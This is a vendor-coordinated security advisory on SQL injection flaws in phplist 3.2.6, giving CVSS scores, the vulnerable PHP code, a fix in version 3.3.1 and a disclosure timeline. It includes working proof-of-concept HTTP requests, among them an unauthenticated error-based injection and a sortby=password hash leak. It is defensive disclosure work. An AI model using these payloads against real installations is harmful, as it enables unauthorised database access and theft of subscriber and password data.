Security Advisory - Curesec Research Team

1. Introduction

Affected        phplist 3.2.6
Product:
Fixed in:       3.3.1
Fixed Version   https://sourceforge.net/projects/phplist/files/phplist/3.3.1/
Link:           phplist-3.3.1.zip/download
Vendor Website: https://www.phplist.org/
Vulnerability   SQL Injection
Type:
Remote          Yes
Exploitable:
Reported to     01/10/2017
vendor:
Disclosed to    02/20/2017
public:
Release mode:   Coordinated Release
CVE:            n/a (not requested)
Credits         Tim Coen of Curesec GmbH

2. Overview

phplist is an application to manage newsletters, written in PHP. In version
3.2.6, it is vulnerable to SQL injection.

The application contains two SQL injections, one of which is in the
administration area and one which requires no credentials. Additionally, at
least one query is not properly protected against injections. Furthermore, a
query in the administration area discloses some information on the password
hashes of users.

3. Details

SQL Injection 1: Edit Subscription

CVSS: High 7.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

It is possible for an unauthenticated user to perform an SQL injection when
updating the subscription information of an already subscribed user.

The protection against SQL injection relies on a combination of a custom magic
quotes function which applies addslashes to all input values and a function
which applies htmlspecialchars to all inputs. Additionally, some input values
are cast to integers to prevent injections. addslashes protects against
injections into arguments which are placed into single quotes, while
htmlspecialchars protects against injections into double quotes.

It should be noted that neither addslashes nor htmlspecialchars are recommended
to prevent SQL Injection.

The update functionality is vulnerable to SQL Injection as it uses the key of
POST data, while only values of POST data are escaped via addslashes, but not
keys.

Proof of Concept:

POST /lists/index.php?p=subscribe&uid=f8082b7cc4da7f94ba42d88ebfb5b1e2&email=
foo%40example.com HTTP/1.1 Host: localhost Connection: close Content-Length:
209 email=foo%40example.com&emailconfirm=foo%40example.com&textemail=1&list%5B2
or extractvalue(1,version()) %5D=signup&listname%5B2%5D=newsletter&
VerificationCodeX=&update=Subscribe+to+the+selected+newsletters%27

The proof of concept is chosen for simplicity and will only work if error
messages are displayed to the user. If this is not the case, other techniques
can be used to extract data from the database.

Code:

/lists/admin/subscribelib2.php $lists = ''; if (is_array($_POST['list'])) {
while (list($key, $val) = each($_POST['list'])) { if ($val == 'signup') {
$result = Sql_query("replace into {$GLOBALS['tables']['listuser']}
(userid,listid,entered) values($userid,$key,now())"); # $lists .= " * ".$_POST
["listname"][$key]."\n"; } } }

SQL Injection 2: Sending Campaign (Admin)

CVSS: Medium 4.7 CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

When sending a campaign, the sendformat parameter is vulnerable to SQL
injection. The injection takes place into an UPDATE, so the easiest way to
extract data is via error based SQL injection.

An account with the right to send campaigns is required to exploit this issue.

Proof of Concept:

POST /lists/admin/?page=send&id=2&tk=c&tab=Format HTTP/1.1 Host: localhost
Cookie: PHPSESSID=k6m0jgl4niq7643hohik5jgm12 Connection: close Content-Length:
323 formtoken=27211e65922b95d986bfaf706ccd2ca0&workaround_fck_bug=1&followupto=
http%3A%2F%2Flocalhost%2Flists%2Fadmin%2F%3Fpage%3Dsend%26id%3D2%26tk%3Dc%26tab%3DScheduling
&htmlformatted=auto&sendformat=HTML" or extractvalue(1,version()) -- - &id=2&
status=draft&id=2&status=draft&campaigntitle=campaign+meta%27%22%3E&testtarget=

Code:

// /lists/admin/send_core.php:198 $result = Sql_Query( sprintf('update %s set
subject = "%s", fromfield = "%s", tofield = "%s", replyto ="%s", embargo =
"%s", repeatinterval = "%s", repeatuntil = "%s", message = "%s", textmessage =
"%s", footer = "%s", status = "%s", htmlformatted = "%s", sendformat = "%s",
template = "%s" where id = %d', $tables['message'], sql_escape(strip_tags
($messagedata['campaigntitle'])), /* we store the title in the subject field.
Better would be to rename the DB column, but this will do for now */ sql_escape
($messagedata['fromfield']), sql_escape($messagedata['tofield']), sql_escape
($messagedata['replyto']), sprintf('d-d-d d:d', $messagedata['embargo']
['year'], $messagedata['embargo']['month'], $messagedata['embargo']['day'],
$messagedata['embargo']['hour'], $messagedata['embargo']['minute']),
$messagedata['repeatinterval'], sprintf('d-d-d d:d', $messagedata
['repeatuntil']['year'], $messagedata['repeatuntil']['month'], $messagedata
['repeatuntil']['day'], $messagedata['repeatuntil']['hour'], $messagedata
['repeatuntil']['minute']), sql_escape($messagedata['message']), sql_escape
($messagedata['textmessage']), sql_escape($messagedata['footer']), sql_escape
($messagedata['status']), $htmlformatted ? '1' : '0', $messagedata
['sendformat'], sql_escape($messagedata['template']), $id ) );

Sort By: Password (Admin)

CVSS: Low 2.2 CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N

When viewing users, the sortby parameter can be used to sort the list. The drop
down list allows sorting by email, dates, and so on. All non-word characters
are removed, but there are no further checks.

It is possible to gather some information on the password of users via this
parameter, as it is possible to set it to sort by password.

By repeatedly changing the password of an existing user, the characters of a
password hash could be bruteforced by looking at the position of the user the
attacker controls.

An account with the right to view users is required to exploit this issue.

Proof of Concept:

http://localhost//lists/admin/?page=users&start=0&find=&findby=&sortby=password
&sortorder=desc&change=Go&id=0&find=&findby=email

Insufficient Protection against SQL Injection

CVSS: n/a

When subscribing a user, metadata is saved in the database. When saving this
data in the database, it is neither properly escaped nor are prepared
statements used, but the input is HTML encoded.

Because of this, an unauthenticated user has control over part of the query.

This issue is not currently exploitable, but may be exploitable if changes are
made to the query. The approach of HTML encoding instead of using prepared
statements to defend against SQL injection is also more error prone and may
result in further queries which are vulnerable.

A user can create a database error with the following request:

POST /lists/index.php?p=subscribe&id=a\ HTTP/1.1 Host: localhost Cookie:
PHPSESSID=8h5fh18cqe41a2l1t6224tf9v4 Connection: close formtoken=
5bf7774ff0f2e396081dc1478cd92201&makeconfirmed=0&email=foo%40example.com&
emailconfirm=foo%40example.com&textemail=1&list%5B2%5D=signup&listname%5B2%5D=
newsletter&VerificationCodeX=&subscribe=
Subscribe+to+the+selected+newsletters%27

The resulting query is:

insert into phplist_user_user_history
(ip,userid,date,summary,detail,systeminfo) values("127.0.0.1",2,now
(),"Re-Subscription","[...]"," HTTP_USER_AGENT = [...] REQUEST_URI = /lists/
index.php?p=subscribe&id=a\")

It can be seen that the slash in the request escapes the quote of the query
which causes an error.

4. Solution

To mitigate this issue please upgrade at least to version 3.3.1:

https://sourceforge.net/projects/phplist/files/phplist/3.3.1/phplist-3.3.1.zip/
download

Please note that a newer version might already be available.

5. Report Timeline

01/10/2017 Informed Vendor about Issue
01/16/2017 Vendor confirms
02/15/2017 Asked Vendor to confirm that new release fixes issues
02/15/2017 Vendor confirms
02/20/2017 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/phplist-326-SQL-Injection-193.html
 
--
blog: https://www.curesec.com/blog
Atom Feed: https://www.curesec.com/blog/feed.xml
RSS Feed: https://www.curesec.com/blog/rss.xml
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-StraAe 54
10365 Berlin, Germany